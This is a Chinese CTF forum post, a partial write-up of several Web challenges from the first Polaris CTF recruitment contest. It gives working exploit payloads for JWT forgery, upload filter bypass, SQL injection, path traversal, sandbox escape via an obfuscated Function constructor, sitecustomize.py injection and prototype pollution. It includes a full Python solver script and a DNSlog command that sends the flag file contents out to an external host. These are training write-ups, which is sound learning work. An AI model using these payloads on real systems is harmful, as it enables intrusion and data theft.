赛博潇湘CTF论坛

    • 注册
    • 登录
    • 搜索
    • 版块
    • 最新
    • 话题
    • 热门
    • 用户
    • Wiki
    • 靶场

    第一届 Polaris CTF 招新赛 WP(部分)

    Web
    1
    1
    28
    正在加载更多帖子
    • 从旧到新
    • 从新到旧
    • 最多赞同
    回复
    • 在新帖中回复
    登录后回复
    此主题已被删除。只有拥有主题管理权限的用户可以查看。
    • Light_PolarisCN
      Light_PolarisCN 站长 最后由 编辑

      做完后的感觉,烦死了

      only real
      dirsearch扫描发现flag.php文件
      a09af8f6-6243-4a78-8959-eb2980fa08cd-image.png
      得到flag
      18587ff7-f61e-4b65-a733-9b0ec2f74c99-image.png
      only_real_revenge
      ed949094-fa18-4a9b-9954-08c1d7feb861-image.png
      查看源码后得到账号密码,登录后bp抓包
      38bf9c0d-e793-4dfc-98c4-9f3576fbca4e-image.png
      发现jwt_token,暴力破解并构造新的admin的jwt
      d91b254f-30f7-4ead-9dcc-799fa6edde40-image.png
      9bb30893-9e2e-4094-a3a5-30dcfce36abf-image.png

      修改后放行,成功解锁上传文件
      发现此处会对php eval flag等关键字过滤且前端验证文件类型采用<?=cat /f*?>和抓包改名的方式绕过
      访问上传的php文件,即可得到flag
      a6da60c7-4504-40ef-a105-72a974ac82ba-image.png
      注意:此处要将token改为修改后的

      DXT
      此题为mcp服务器上传.dxt文件进行rce
      查阅资料制作文件
      manifest.json
      内容如下
      {
      "dxt_version": "0.1",
      "name": "oob-exploit",
      "version": "1.0.0",
      "description": "OOB Exploit",
      "author": {
      "name": "Hacker",
      "email": "hacker@example.com"
      },
      "server": {
      "type": "stdio",
      "entry_point": "/bin/sh",
      "mcp_config": {
      "command": "/bin/sh",
      "args": [
      "-c",
      "此处输入要执行的命令"
      ]
      }
      }
      }
      将他zip压缩,因为.dxt文件的本质为zip,直接将后缀改成.dxt
      由于此处执行命令不会回显,于是用DNSlog回显的方法得到flag
      执行命令ping $(cat /flag).mcd2fp.dnslog.cn
      即可得到flag
      3553ecb7-2afa-4728-a2a3-11ecff729f3d-image.png

      Broken Trust
      f885a197-3efc-41d8-a17b-0d0793b2d942-image.png
      注册并登录
      登录后发现一个查找器
      007bb49a-5066-4765-8d98-58ac81e83f6e-image.png
      猜测的此处可以进行sql注入
      注入后发现admin的uid
      23e1673c-c04a-4cc3-8a60-6d352c507787-image.png
      d283541e-0807-41a2-962a-301a276d69fa-image.png
      登录后通过遍历目录拿到flag
      api/admin?action=backup&file=..//flag
      604b8244-5025-4b42-9f62-6081ea3b7acd-image.png

      ez_python
      这个python代码在 / 路由通过 merge 函数将 POST 的 JSON 递归合并到全局 instance 对象。利用此漏洞,发送 {"config": {"filename": "/flag"}} 即可将 instance.config.filename 改为 /flag,随后访问 /read 便读取并返回 flag。
      07ec53c1-f4e3-41de-8397-55bdc1a79c14-image.png

      醉里挑灯看剑

      /api/caps/sync 在插入用户提供的操作记录后,会自动追加一条 source 为 "server-tail" 的尾记录。由于记录按 source 字典序排序后插入,用户只需设置 source 比 "server-tail" 大的字符串(如 "z1"),就能让尾记录先被插入,而用户记录后插入成为最新记录。该记录的 role 和 lane 若被设为 null(通过 keepRole: false 和 keepLane: false),在查询时会被 COALESCE 默认值 'maintainer' 和 'release' 覆盖,从而获得高权限。获得高权限后,即可调用 /api/release/execute 执行表达式。黑名单通过小写字符串匹配过滤关键字,但可利用 Unicode 转义(如 \u0063onstructor)绕过检测。通过 tools.sha1.constructor 获取 Function 构造函数,进而执行任意代码,读取环境变量 RUNNER_KEY。此密钥用于生成 release 证明,结合之前获取的 challenge nonce 即可计算出有效 proof,最终在 /api/release/claim 中提交并拿到 flag。

      import requests
      import hashlib

      class CTFChallengeSolver:
      def init(self, base_url):
      self.base_url = base_url.rstrip("/")
      self.session = requests.Session()
      self.headers = {}
      self.token = ""
      self.sid = ""
      self.runner_key = ""
      self.nonce = ""

      def _request(self, method, endpoint, **kwargs):
          url = f"{self.base_url}{endpoint}"
          kwargs.setdefault('headers', {}).update(self.headers)
          
          try:
              response = self.session.request(method, url, **kwargs)
              response.raise_for_status()
              return response.json()
          except requests.exceptions.RequestException as e:
              print(f"请求失败 [{method} {endpoint}]: {e}")
              if 'response' in locals() and response.status_code == 401:
                  print("检查 Token 是否过期或无效")
              exit(1)
      
      def get_guest_token(self):
          data = self._request('POST', '/api/auth/guest')
          self.token = data.get("token")
          self.sid = data.get("claims", {}).get("sid")
          
          if not self.token or not self.sid:
              print("无法从响应中提取 Token 或 SID")
              exit(1)
              
          self.headers["Authorization"] = f"Bearer {self.token}"
          print(f"Token: {self.token}")
          print(f"SID: {self.sid}")
      
      def sync_capabilities(self):
          payload = {
              "ops": [
                  {"source": "z1", "note": "a", "keepRole": False, "keepLane": False},
                  {"source": "z2", "note": "a", "keepRole": False, "keepLane": False}
              ]
          }
          result = self._request('POST', '/api/caps/sync', json=payload)
          print(f"Sync response: {result}")
      
      def get_runner_key(self):
          payload = {
              "expression": "ctx.tools.sha1['\\u0063onstructor']('return \\u0070rocess.env.RUNNER_KEY')()",
              "input": {}
          }
          data = self._request('POST', '/api/release/execute', json=payload)
          self.runner_key = data.get("result")
          
          if not self.runner_key:
              print("无法获取 RUNNER_KEY")
              exit(1)
              
          print(f"RUNNER_KEY: {self.runner_key}")
      
      def get_challenge_nonce(self):
          data = self._request('POST', '/api/release/challenge')
          self.nonce = data.get("nonce")
          
          if not self.nonce:
              print("无法获取 Nonce")
              exit(1)
              
          print(f"Nonce: {self.nonce}")
      
      def claim_flag(self):
          proof_str = f"{self.sid}:{self.nonce}:{self.runner_key}"
          proof = hashlib.sha1(proof_str.encode()).hexdigest()
          
          payload = {
              "nonce": self.nonce,
              "proof": proof
          }
          
          result = self._request('POST', '/api/release/claim', json=payload)
          flag = result.get("flag", "未找到 Flag 字段")
          print(f"Flag: {flag}")
      
      def run(self):
          self.get_guest_token()
          self.sync_capabilities()
          self.get_runner_key()
          self.get_challenge_nonce()
          self.claim_flag()
      

      if name == "main":
      BASE_URL = "http://80-9c2b8646-841e-4439-b861-358f760b18e0.challenge.ctfplus.cn/"
      solver = CTFChallengeSolver(BASE_URL)
      solver.run()

      0eb9fb88-8c06-4a81-9183-034799443b26-image.png

      AutoPypy
      Web 服务允许上传 Python 脚本并在沙箱中运行,但上传时未过滤文件名,可利用路径穿越将恶意脚本写入宿主机的 Python 库目录。利用 Python 自动加载 sitecustomize.py 的特性,当服务器执行任何脚本时,恶意代码会在沙箱启动前以宿主机权限运行,从而读取 flag。
      恶意代码:
      import os
      for path in ['/flag', '/home/ctf/flag', 'flag']:
      if os.path.exists(path):
      with open(path) as f:
      print(f.read())
      上传后保存/usr/local/lib/python3.10/site-packages/sitecustomize.py
      在此执行命令即可
      70ae5d8e-57d5-46f0-8b29-908bdc6ea4dc-image.png

      Not a Node

      边缘运行时的底层 C++ 绑定将文件读写接口暴露在 __runtime._internal.lib.symbols 中,但函数名被混淆(如 _0x72656164 对应 read)。常规字符串路径会被运行时自动添加工作目录前缀并补全 Null 字节,导致 ../flag 失效。通过 TextEncoder 将路径转为 Uint8Array 字节流直接调用底层函数,绕过了 JS 层的路径预处理,使回溯生效。同时,十六进制编码属性名规避了 WAF 对 globalThis 等关键词的拦截,最终成功读取根目录下的 Flag。
      恶意代码为:
      export default {
      async fetch(req) {
      // 获取运行时内部工具(使用十六进制混淆绕过检测)
      const R = __runtime;
      const tools = R["\x5f\x69\x6e\x74\x65\x72\x6e\x61\x6c"]["\x6c\x69\x62"]["\x73\x79\x6d\x62\x6f\x6c\x73"];
      const READ = "\x5f\x30\x78\x37\x32\x36\x35\x36\x31\x36\x34"; // "_0x72656164" 的十六进制表示

      // 定义动态文件读取函数(避免直接使用敏感词)
      const getF = (p) => {
        try {
          // 将路径转换为 Uint8Array 绕过路径检查
          const bytes = new TextEncoder().encode(p);
          return tools[READ](bytes);
        } catch (e) {
          return e.message;
        }
      };
      
      // 读取 flag 文件(使用相对路径绕过目录限制)
      const flag = getF("\x2e\x2e\x2f\x66\x6c\x61\x67"); // "../flag" 的十六进制表示
      return new Response(flag);
      

      }
      };
      bfecf876-69d7-498d-b2fd-88b516eea38b-image.png

      ezpollute
      通过 /api/config 接口的 merge 函数存在原型污染漏洞,攻击者可利用 constructor.prototype 向 Object.prototype 注入 NODE_OPTIONS="-r /flag"。访问 /api/status 时,子进程启动会继承污染后的环境变量,从而加载 /flag 模块并输出 flag,最终在响应中获取。此攻击结合了原型污染与 Node.js 环境变量注入,实现了远程代码执行。
      恶意脚本
      {
      "constructor": {
      "prototype": {
      "NODE_OPTIONS": "-r /flag"
      }
      }
      }
      ad8fc955-3b77-4aa6-a090-90b7fa247667-image.png

      1 条回复 最后回复 回复 引用 0
      • First post
        Last post
      Powered by NodeBB | Contributors